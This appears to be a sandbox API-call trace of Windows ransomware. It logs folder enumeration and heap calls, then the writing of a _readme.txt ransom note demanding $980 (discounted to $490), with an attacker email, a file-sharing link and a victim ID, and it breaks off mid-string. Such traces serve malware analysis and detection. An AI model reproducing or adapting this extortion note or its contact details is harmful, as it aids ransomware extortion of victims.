0x34504d0 [0124.148] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Fonts", cAlternateFileName="")) returned 1 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450200 [0124.148] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450430 [0124.148] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x16c) returned 0x33e06d8 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450408 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502f0 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502a0 [0124.148] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504f8 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450520 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450548 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450570 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450598 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34505c0 [0124.149] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="it-IT", cAlternateFileName="")) returned 1 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450200 [0124.149] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.149] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504d0 [0124.149] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0124.149] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x214) returned 0x3ae3218 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504a8 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450480 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450458 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502c8 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450278 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34505e8 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450610 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450638 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450660 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450688 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34506b0 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34506d8 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450700 [0124.149] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.149] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.150] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450200 [0124.150] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450430 [0124.150] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34505c0 [0124.150] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450598 [0124.150] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x310) returned 0x3ae3438 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450570 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450548 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450520 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504f8 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502a0 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502f0 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450408 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450728 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450750 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450778 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9a38 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9a60 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9a88 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9ab0 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9ad8 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9b00 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9b28 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9b50 [0124.150] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9b78 [0124.151] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34505c0 [0124.151] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450430 [0124.151] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450200 [0124.151] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.151] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0124.151] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.151] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.151] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.151] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.151] PathFindFileNameW (pszPath="") returned="" [0124.151] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.151] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.152] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae2210 [0124.152] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae2210 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae2a18 [0124.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504d0 [0124.152] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2a18 | out: hHeap=0x810000) returned 1 [0124.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450700 [0124.152] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450250 | out: hHeap=0x810000) returned 1 [0124.152] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.152] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504d0 | out: hHeap=0x810000) returned 1 [0124.152] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.152] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450700 | out: hHeap=0x810000) returned 1 [0124.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450700 [0124.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x81c) returned 0x3ad88e0 [0124.152] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0124.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.152] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450700 | out: hHeap=0x810000) returned 1 [0124.152] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0124.152] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3750 [0124.152] lstrcpyW (in: lpString1=0x3ae3750, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.153] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and 